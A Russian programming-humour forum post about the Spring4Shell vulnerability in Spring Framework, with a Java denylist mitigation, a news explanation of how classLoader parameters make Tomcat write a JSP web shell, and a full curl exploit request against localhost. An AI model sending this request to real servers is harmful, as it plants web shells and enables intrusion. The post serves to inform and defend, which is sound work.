Jawa / Говнокод #28107 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
import org.springframework.core.Ordered;
   import org.springframework.core.annotation.Order;
   import org.springframework.web.bind.WebDataBinder;
   import org.springframework.web.bind.annotation.ControllerAdvice;
   import org.springframework.web.bind.annotation.InitBinder;

   @ControllerAdvice
   @Order(10000)
   public class BinderControllerAdvice {
      @InitBinder
      public void setAllowedFields(WebDataBinder dataBinder) {

          String[] denylist = new String[]{"class.", "Class.", ".class.", ".Class."};

          dataBinder.setDisallowedFields(denylist);
      }
   }

Критическая 0-day уязвимость в Spring Framework, применяемом во многих Java-проектах

Работа эксплоита сводится к отправке запроса с параметрами "class.module.classLoader.resources.cont ext.parent.pipeline.first.*", обработка которых при использовании "WebappClassLoaderBase" приводит к обращению к классу AccessLogValve. Указанный класс позволяет настроить логгер для создания произвольного jsp-файла в корневом окружении Apache Tomcat и записи в этот файл указанного атакующим кода. Созданный файл становится доступным для прямых запросов и может использоваться в качестве web shell. Для атаки на уязвимое приложение в окружении Apache Tomcat достаточно отправить запрос с определёнными параметрами при помощи утилиты curl.

curl -v -d "class.module.classLoader.resources.context.parent.pipeline
.first.pattern=код_для_вставки_в_файл
 &class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
 &class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
 &class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
 &class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" 
http://localhost:8080/springmvc5-helloworld-exmaple-0.0.1-SNAPSHOT/rapid7

Запостил: 3_dar 3_dar, (Updated )

Комментарии (4) RSS

  • Хорошо, что у меня в контроллерах нет никаких "Java-проектов"
    Ответить
    • Не может быть! Более миллиарда устройств в мире уже используют "Java". Она работает везде: от портативных коммуникаторов, то крупных серверов!
      Если ты всё еще не используешь "Java", то ты отстал от жизни
      Ответить

Добавить комментарий

Я, guest, находясь в здравом уме и твердой памяти, торжественно заявляю:

    А не использовать ли нам bbcode?


    8